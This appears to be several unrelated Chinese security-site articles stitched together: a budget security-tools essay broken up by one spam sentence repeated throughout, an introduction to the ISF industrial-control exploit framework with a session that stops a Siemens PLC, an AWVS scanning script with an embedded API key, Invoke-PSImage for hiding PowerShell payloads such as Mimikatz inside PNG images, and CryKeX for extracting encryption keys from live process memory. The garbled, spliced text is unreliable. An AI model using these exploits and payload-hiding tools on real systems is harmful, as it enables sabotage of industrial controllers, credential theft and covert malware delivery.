初到公司之时,安全为0,但由于为一家金融科技类公司,领导层们深知安全的重要,最主要的是,多个检查机构年底要过来检查,所以,我来了,但问题也来了。

我问领导:“领导,你觉得安全重要吗?”;老板说安全很重要,但是没钱咋办?

领导答:“重要,很重要,非常重要,安全容不得马虎!”;老板说安全很重要,但是没钱咋办?

我回复:“好,目前公司该有的安全设备除了过期的防火墙,啥都没有。需要采购。”;老板说安全很重要,但是没钱咋办?

领导问:“How much?”;老板说安全很重要,但是没钱咋办?

我回:”根据公司目前业务,一百万可以挡住!“;老板说安全很重要,但是没钱咋办?

领导:”可以用租的吗?“;老板说安全很重要,但是没钱咋办?

我:”……”;老板说安全很重要,但是没钱咋办?

领导:“公司初创阶段,需要给集团做业绩来看balabala……”;老板说安全很重要,但是没钱咋办?

我:“停!领导,我尽量做!”老板说安全很重要,但是没钱咋办?

这不是笑话,我们老大真的很认真的给我租了三个月的漏扫,还很大气的跟我说:“哎呀,你这回就可劲用吧!”,我心里有句MMP,但我不敢讲。老板说安全很重要,但是没钱咋办?

由于要迎接多个检查机构的多批次检查,我的任务十分沉重。老板说安全很重要,但是没钱咋办?

三、建设

好了,言归正传了,没钱还想搞安全,怎么办?用免费的代替呗。下面给大家说我的一下替代方案。

1、漏扫:NESSUS

为啥放首位了,因为这款漏扫没什么好介绍的,强烈推荐;直接部署在网络当中,路由可达即可。与收费漏扫相比较,扫描结果略有不同,都能扫到对方扫不到的。所以,还是一款值得推荐的免费漏扫。

老板说安全很重要,但是没钱咋办?

2、入侵检测:OSSIM

直接部署在网络当中,对客户端路由可达,对于英语不好的同学可以使用浏览器插件进行翻译。当然,跟收费的IDS根本没法比了,无论是规则还是技术原理。收费的IDS抓取更全面,部署更便捷,规则更完善。

优点:免费;开源;服务端部署容易。

缺点:传统的IDS大部分是抓取镜像流量,可做到全面分析,而OSSIM需要对客户端进行分别部署,但由于每台机器key不一样,即使使用自动化运维工具也挺麻烦的(PS:你们都上自动化运维了,就别用这个东西了);还有就是自带的规则十分辣鸡;

老板说安全很重要,但是没钱咋办?

3、堡垒机:JumpServer

与收费的相比,没有对windows和数据库的安全审计。如果贵单位用的都是linux,没问题,完全够用。

优点:免费,开源,轻量级

缺点:不支持windows的安全审计及数据库的安全审计。

老板说安全很重要,但是没钱咋办?  

老板说安全很重要,但是没钱咋办?

4、网闸:两个路由

只能做内网当中不同密级的两张网络,无法完全代替。两张网络中的核心路由进行直连,分别对其连接的设备做路由指向和NAT转换。整套方案无法替代网闸,混检查倒是可以。

老板说安全很重要,但是没钱咋办?

使用背景:

网络1与互联网进行连接,服务器1需要与服务器A进行数据传输,为了确保网络A的安全,不允许服务器1与服务器A直接进行数据传输。

逻辑步骤:

(1)核心路由A配置NAT转换,将1.1.1.100转至172.16.1.100,同时做端口访问限制及其他网络安全策略

(2)核心路由1配置路由指向,将1.1.1.100地址指向至核心路由A

(3)服务器1访问1.1.1.100

(4)服务器A将接收来自服务器1的数据

配置目的:

(1)由于两边无法直接获取对面的路由表,黑客无法探测网络A的资产情况;

(2)即使服务器1被网络攻破,也无法得知网络A情况;

(3)即使地址IP1.1.1.100被发现,也由于端口访问限制,大部分攻击手段将无法实施;

(4)即使通过放行端口入侵至服务器A,也由于无法得知反向IP,少部分攻击手段将无法实施;

(5)当然,不可能尽善尽美。

优点:成本低,无法直接获取对端路由表,做到了网闸最基本的功能。

缺点:无法完全取代,无法判断接收的数据是否合规。

5、代码质量管理:sonar

一款不错的代码质量管理工具,免费的。我们公司现在就在用,虽然大家只是当做侧面辅助,但聊胜于无。

老板说安全很重要,但是没钱咋办?

6、web日志审计:360星图

相对来讲,这款分析工具的UI我十分喜欢,但分析存在误报及漏报。还需要结合人工来进行审计。

老板说安全很重要,但是没钱咋办?

7、日志分析系统:Kibana和logstash 

Logstash是一个完全开源的工具,他可以对你的日志进行收集、分析,并将其存储供以后使用,您可以使用它。说到搜索,logstash带有一个web界面,搜索和展示所有日志。kibana 也是一个开源和免费的工具,他可以帮助您汇总、分析和搜索重要数据日志并提供友好的web界面。他可以为 Logstash 提供的日志分析的 Web 界面

老板说安全很重要,但是没钱咋办?

8、日志收集:简单的脚本+FTP

如果不想费劲的搭建Kibana和logstash(例如说我),那么编写个小脚本,自动压缩目录文件并上传至FTP服务器,做个备份收集即可。

9、上网行为管理及防火墙:ikuai 

部署在办公网络最外层,可当防火墙也可当路由,还具有上网行为管理的功能,还能做ACL控制。买台服务器,配个双网卡,简单部署后就能用了。

优点:免费,功能挺多的,基本满足中小型企业办公需求;

缺点:大流量估计正面刚不住,公司对外的业务还是不要用了。另据小道消息,可能会未经用户允许上传数据(不知道真假,对此话本人不负责)。

10、终端准入:网管软件

部署在小局域网内,纯粹为了混检查。

优点:免费

缺点:只能针对小范围管理,治标不治本,混下检查还可以,其余就算了。

11、VPN:Windows自带

还需要介绍吗?

12、企业杀毒

去给你的领导和同事们洗脑去吧。

4.总结

可以看出,收费之所以是收费的,还是十分有道理的。当然不是说免费的就不好。例如nessus,我个人觉得这个漏扫就不错。如果贵单位用的是linux,jumpserver也非常实用。如果资金确实紧张,360星图,sonar也可以上。但其他的,真的就是见仁见智了。

PS:上述产品大家应该也都知道,这里给大家拢一拢,为那些在确实不拿资金做安全的单位工作的安全同学提供些建设方案吧。上述产品也好,方案也好绝大多数实施部署起来都是极容易上手的。

PPS:最后一首凤飞飞的《人在旅途》送给我的老板!

*本文原创作者:戒了,本文属FreeBuf原创奖励计划,未经许可禁止转载

ISF:一款基于Python的工控系统漏洞利用框架

今天给大家介绍一款名叫ISF的工具,它是一款针对工业控制系统的漏洞利用框架。该工具基于开源项目routersploit,采用Python语言开发,它跟MetaSploit框架有些相似,希望大家能够喜欢。

ISF:一款基于Python的工控系统漏洞利用框架

ICS(工业控制系统)协议客户端

名称 路径 Description
modbus_tcp_client icssploit/clients/modbus_tcp_client.py Modbus-TCP客户端
wdb2_client icssploit/clients/wdb2_client.py WdbRPC Version 2 客户端(Vxworks 6.x)
s7_client icssploit/clients/s7_client.py s7comm 客户端(S7 300/400 PLC)

漏洞利用模块

Name Path Description
s7_300_400_plc_control exploits/plcs/siemens/s7_300_400_plc_control.py S7-300/400 PLC 启动/停止
vxworks_rpc_dos exploits/plcs/vxworks/vxworks_rpc_dos.py Vxworks RPC 远程DoS(CVE-2015-7599
quantum_140_plc_control exploits/plcs/schneider/quantum_140_plc_control.py Schneider Quantum 140系列 PLC启动/停止
crash_qnx_inetd_tcp_service exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py Crash QNX Inetd TCP服务
qconn_remote_exec exploits/plcs/qnx/qconn_remote_exec.py QNX QCONN 远程代码执行

扫描器模块

Name Path Description
profinet-dcp-scan scanners/profinet-dcp-scan.py Profinet DCP 扫描器
vxworks_6_scan scanners/vxworks_6_scan.py Vxworks 6.x 扫描器
s7comm_scan scanners/s7comm_scan.py S7comm 扫描器

ICS协议模块(采用Scapy编写)

这些协议模块能够与其他的模糊测试框架(例如Kitty)进行整合,或者你也可以将其用于开发属于你自己的客户端工具。

Name Path Description
pn_dcp icssploit/protocols/pn_dcp Profinet DCP Protocol
modbus_tcp icssploit/protocols/modbus_tcp Modbus TCP Protocol
wdbrpc2 icssploit/protocols/wdbrpc2 WDB RPC Version 2 Protocol
s7comm icssploit/protocols/s7comm.py S7comm Protocol

框架安装

Python依赖环境

gnureadline(OSX only)

requests

paramiko

beautifulsoup4

pysnmp

python-nmap

scapy

在Kali Linux中安装

安装命令如下所示:

git clone https://github.com/dark-lbp/isf/

cd isf

python isf.py

工具使用

root@kali:~/Desktop/temp/isf#python isf.py

   

      _____ _____  _____ _____ _____  _     ____ _____ _______

     |_  _/ ____|/ ____/ ____|  __ /||    / __ /_   _|__  __|

       | || |   | (___| (___ | |__) | |   | |  | || |   | |

       | || |     /___ //___ /|  ___/| |  | |  | || |    | |

      _| || |____ ____) |___) | |    | |___| |__| || |_   | |

     |_____/_____|_____/_____/|_|    |______/____/_____|  |_|

   

   

                    ICS Exploitation Framework

   

    Note    : ICSSPOLIT is fork from routersploit at

              https://github.com/reverse-shell/routersploit

    Dev Team : wenzhe zhu(dark-lbp)

    Version : 0.1.0

   

    Exploits: 2 Scanners: 0 Creds: 13

   

    ICS Exploits:

        PLC: 2          ICS Switch: 0

        Software: 0

   

    isf >

漏洞利用

isf> use exploits/plcs/

exploits/plcs/siemens/  exploits/plcs/vxworks/

isf> use exploits/plcs/siemens/s7_300_400_plc_control

exploits/plcs/siemens/s7_300_400_plc_control

isf> use exploits/plcs/siemens/s7_300_400_plc_control

isf(S7-300/400 PLC Control) >

注意事项:用户可使用Tab键实现命令补全。

选项

显示模块选项:

isf(S7-300/400 PLC Control) > show options

 

Targetoptions:

 

   Name      Current settings     Description

   ----      ----------------     -----------

   target                          Target address e.g.192.168.1.1

   port      102                  Target Port

 

 

Moduleoptions:

 

   Name       Current settings     Description

   ----       ----------------     -----------

   slot       2                    CPU slotnumber.

   command    1                    Command0:start plc, 1:stop plc.

 

 

isf(S7-300/400 PLC Control) >

设置选项:

isf(S7-300/400 PLC Control) > set target 192.168.70.210

[+]{'target': '192.168.70.210'}

执行模块:

isf(S7-300/400 PLC Control) > run

[*]Running module...

[+]Target is alive

[*]Sending packet to target

[*]Stop plc

isf(S7-300/400 PLC Control) >

显示模块信息:

isf(S7-300/400 PLC Control) > show info

 

Name:

S7-300/400PLC Control

 

Description:

UseS7comm command to start/stop plc.

 

Devices:

-  Siemens S7-300 and S7-400 programmable logiccontrollers (PLCs)

 

Authors:

-  wenzhe zhu <jtrkid[at]gmail.com>

 

References:

 

isf(S7-300/400 PLC Control) >

工具文档

1.Modbus-TCP客户端工具使用说明

2.WDBRPCV2客户端工具使用说明

3.S7客户端工具使用说明

4.SNMP爆破工具使用说明

5.S7 300/400 PLC 密码爆破工具使用说明

6.Vxworks 6.x 扫描器使用说明

7.Profient DCP 扫描使用说明

8.S7comm PLC 扫描器使用说明

9.从额外的目录中读取modules

10.如何创建一个module

* 参考来源:lastline,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

DIY简易Python脚本调用AWVS扫描

前言

最近写了一个小系统,需要调用AWVS扫描工具的API接口实现扫描,在网上只搜到添加任务和生成报告的功能实现代码,无法添加扫描对象登录的用户名和密码,如果不登录系统扫描,扫描效果肯定会大打折扣。现在通过selenium实现,并实现扫描结果风险数量和类型的提取。

代码分解

用到的库:selenium,requests,BeautifulSoup

变量定义:包括awvs的用户名和密码、被测系统的用户名和密码等,具体如下,

awvs_username = ''
awvs_password = ''
app_username = ''
app_password = ''
app_url = ''  # 被测系统域名
api_key = '1986ad8c0a5b3df4d7028d5f4c06e936cb0a9d0117d564f6d8d4801681ff3204c' # awvs生成,用于api操作的身份鉴定
awvs_url = ""  # awvs的登录地址
headers = {"X-Auth": api_key, "content-type": "application/json"}

添加扫描任务

首先登录通过selenium库定位元素的方法,实现登录awvs系统,登录后找到添加任务页面,添加被测目标的url和用户名密码,并获取到扫描目标target_id的值:

dcap = dict(DesiredCapabilities.PHANTOMJS)
dcap["phantomjs.page.settings.userAgent"] = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0")
driver = webdriver.PhantomJS(executable_path='/etc/phantomjs', service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any'], desired_capabilities=dcap)
driver.get(awvs_url)
print('[+] 登录awvs扫描系统')
driver.find_element_by_name('email').send_keys(awvs_username)
driver.find_element_by_name('password').send_keys(awvs_password)
driver.find_element_by_class_name('btn-dark').click()

driver.get(awvs_url + '/#/targets/')

driver.find_element(By.XPATH, '//div[@role="toolbar"]/button[2]').click()
driver.find_element_by_name('address').send_keys(app_url)
driver.find_element_by_class_name('btn-dark').click()

current_url = driver.current_url
target_id = current_url.split('/')[5]

driver.find_element(By.XPATH, '//input[@ng-change="siteLoginSection.onEnabledChanged()"]').click()
driver.find_element_by_name('username').send_keys(app_username)
driver.find_element_by_name('password').send_keys(app_password)
driver.find_element_by_name('retypePassword').send_keys(app_password)
driver.find_element(By.XPATH, '//button[@ng-disabled="!hasChanges()"]').click()
driver.quit()

开启扫描任务

根据上一步获取的target_id,就可以开启扫描了,使用requests库提交一个post请求即可:

data_start = {"target_id": target_id, "profile_id": "11111111-1111-1111-1111-111111111111",
                  "schedule": {"disable": False, "start_date": None, "time_sensitive": False}}
requests.post(awvs_url + "/api/v1/scans", data=json.dumps(data_start),
                             headers=headers, timeout=30, verify=False)

获取scan_id

scan_id用于查看报告是否生成,下一步有用到:

response = requests.get(awvs_url + "/api/v1/scans", headers=headers, timeout=30, verify=False)
results = json.loads(response.content.decode('utf-8'))
scan_id = ''
for result in results['scans']:
    if result['target_id'] == target_id:
            scan_id = result['scan_id']

生成扫描报告并提取关键信息

while True:
    time.sleep(30)
    try:
        response = requests.get(awvs_url + "/api/v1/scans/" + str(scan_id), headers=headers, timeout=30,
                                    verify=False)
        result = json.loads(response.content.decode('utf-8'))
        status = result['current_session']['status']
    except:
        status = ''

    # 如果是completed 表示结束.可以生成报告
    if status == "completed":
        data_report = {"template_id": "11111111-1111-1111-1111-111111111111",
                       "source": {"list_type": "scans", "id_list": [scan_id]}}
        response = requests.post(awvs_url + "/api/v1/reports", data=json.dumps(data_report),
                                 headers=headers, timeout=30, verify=False)
        result = response.headers
        report = result['Location'].replace('/api/v1/reports/', '/reports/download/')
        report_url = awvs_url.rstrip('/') + report + '.html'
        print(report_url)

        html = requests.get(report_url, verify=False)
        report_name = scan_id + '.html'

        soup = BeautifulSoup(html.content, 'html.parser', from_encoding='utf8')
        high_num = soup.find('td', class_='ax-alerts-distribution__label--high').find_next_sibling().text  # 高风险数量
        medium_num = soup.find('td', class_='ax-alerts-distribution__label--medium').find_next_sibling().text  # 中风险数量

        risk_list = []
        risks_h3 = soup.find_all('h3', class_='ax-section-title ax-section-title--big')
        for risk_h3 in risks_h3:
            risk = risk_h3.get_text().strip('    /r/n')
            risk_list.append(risk)
        risks = '/n'.join(risk_list) # 得到风险列表类型

在自己系统上的显示效果:

DIY简易Python脚本调用AWVS扫描

*本文作者:d447059172,转载请注明来自FreeBuf.COM

Invoke-PSImage:将PS脚本隐藏进PNG像素中并用一行指令去执行它

今天给大家介绍的是一个名叫Invoke-PSImage的Power Shell脚本,而这个脚本可以将目标PS脚本嵌入到一个PNG图片文件的像素点中,并允许我们使用一行指令来执行该脚本。

Invoke-PSImage:将PS脚本隐藏进PNG像素中并用一行指令去执行它

Invoke-PSImage

Invoke-PSImage可以将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件或Web(传递-Web标记)执行它们。

它会利用图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,虽然图片质量会受到影响,但是一般来说是看不出来有多大区别的。图片需要存储为PNG格式,由于Payload数据存储在颜色值中,因此这种格式可以进行无损压缩并且不会影响到Payload的执行。它可以接受目前绝大多数的图片类型作为输入,但输出必须为PNG格式,因为输出的图片数据需要是无损的。

图片的每一个像素都需要存储脚本的一个字节,所以你需要根据脚本中的字节数据大小来选择图片(尽可能多的像素点)。例如,Invoke-Mimikatz需要一张1920×1200的图片来存储。

参数

-Script[filepath] 需要嵌入在图片中的脚本路径。

-Image[filepath] 需要嵌入的图片文件路径。

-Out[filepath] 输出文件路径。

-Web 输出一条用于读取图片文件的命令,你需要在主机中托管该图片,然后向命令中插入一条URL地址。

例子

创建一张图片,并在其中嵌入脚本”Invoke-Mimikatz.ps1″,然后输出一条执行命令,并从磁盘中执行Payload:

PS>Import-Module./Invoke-PSImage.ps1

PS>Invoke-PSImage-Script ./Invoke-Mimikatz.ps1 -Image ./kiwi.jpg -Out ./evil-kiwi.png

   [Oneliner to execute from a file]

创建一张图片,并在其中嵌入脚本”Invoke-Mimikatz.ps1″,然后输出一条执行命令,并从Web端执行Payload(你还需要Web主机托管改图片,并编辑URL地址):

PS>Import-Module./Invoke-PSImage.ps1

PS>Invoke-PSImage-Script ./Invoke-Mimikatz.ps1 -Image ./kiwi.jpg -Out ./evil-kiwi.png -Web

   [Oneliner to execute from the web]

执行一张托管在Web端的图片Payload:

Invoke-PSImage:将PS脚本隐藏进PNG像素中并用一行指令去执行它 

* 参考来源:Invoke-PSImage,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

CryKeX:Linux内存加密密钥提取工具

今天给大家介绍的是一款名叫CryKeX的工具,大家可以使用该工具从任何基于Unix操作系统的运行内存中提取出加密密钥。

CryKeX:Linux内存加密密钥提取工具

CryKeX特性

1.   跨平台

2.   简单实用

3.   交互性强

4.   兼容性/可移植性强

5.   应用程序独立

6.   进程封装/注入

依赖条件

1.   Unix-理论上说,该工具可在任何基于Unix的操作系统平台上正常工作。

2.   BASH-支持所有脚本的运行。

3.   Root权限(可选项)

限制条件

1.   仅支持AES和RSA密钥

2.   目前对Firefox浏览器的支持暂不完美

3.   不支持磁盘加密(LUKS)以及PGP/GPG

4.   需要适当的用户权限以及内存授权

工作机制

基本上说,该工具会寻找某些类似密钥的数据,并通过分析其内存架构(C数据类型)来判断目标数据(密钥)的有效性。在此之前,我们也对DRAM的加密密钥安全问题进行了讨论,感兴趣的同学可以阅读下面给出的文章。【参考文献一】【 参考文献二

CryKeX可以导出目标进程的实时内存数据,然后从中寻找出可能存在的密钥信息,整个过程中内存映射并不会发生改变。工具脚本不仅能够向正在运行的进程中注入命令,而且还可以封装新的进程(通过单独启动进程后再进行注入来实现)。这样一来,该工具几乎就可以从目标系统中的任意进程/代码中提取密钥了。

当然了,系统内核会对内存访问等行为进行限制,这也就意味着你在进行操作的过程中需要一定的高级权限。

Linux磁盘加密(LUKS)使用了反取证技术来缓解这类安全问题,但是我们仍然有可能从一段完整的内存中提取出密钥。

Firefox浏览器使用了一些类似的内存管理机制,因此当前版本的CryKeX可能无法从Firefox浏览器中提取出密钥数据。除此之外,对于PGP/GPG也是一样的(不适用)。

如何使用

安装依赖:

sudoapt install gdb aeskeyfind rsakeyfind || echo 'have you heard about sourcecompiling?'

针对openSSL AES密钥的交互示例:

opensslaes-128-ecb -nosalt -out testAES.enc

输入一个密码两次,然后在命令终止运行之前输入一些文本:

CryKeX.shopenssl

最后,按下组合键Ctrl+D三次来检查结果

OpenSSLRSA密钥的交互示例:

opensslgenrsa -des3 -out testRSA.pem 2048

提示输入密码:

CryKeX.shopenssl

验证:

opensslrsa -noout -text -in testRSA.pem

从SSH中提取密钥:

echo'Ciphers aes256-gcm@openssh.com' >> /etc/ssh/sshd_config

ssh user@server

CryKeX.shssh

从OpenVPN中提取密钥:

echo'cipher AES-256-CBC' >> /etc/openvpn/server.conf

openvpnyourConf.ovpn

sudo CryKeX.sh openvpn

TrueCrypt/VeraCrypt也同样会受到影响:选择VeraCrypt中的“veracrypt”文件,使用密码“pass”进行加载,然后运行下列命令:

sudo CryKeX.sh veracrypt

基于Chromium的浏览器(多谢Google…):

CryKeX.shchromium

CryKeX.shgoogle-chrome

虽然我们的工具不适用于Firefox,但Tor浏览器Bundle可能会受到影响(由于其隧道机制):

CryKeX.shtor

除此之外,你还可以使用下列命令封装进程:

aptinstall libssl-dev

gcc-lcrypto cipher.c -o cipher

CryKeX.shcipher

       wrap

       cipher

注意事项

欢迎大家对本程序进行测试,也欢迎有能力的同学贡献自己的代码。

* 参考来源:crykex,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM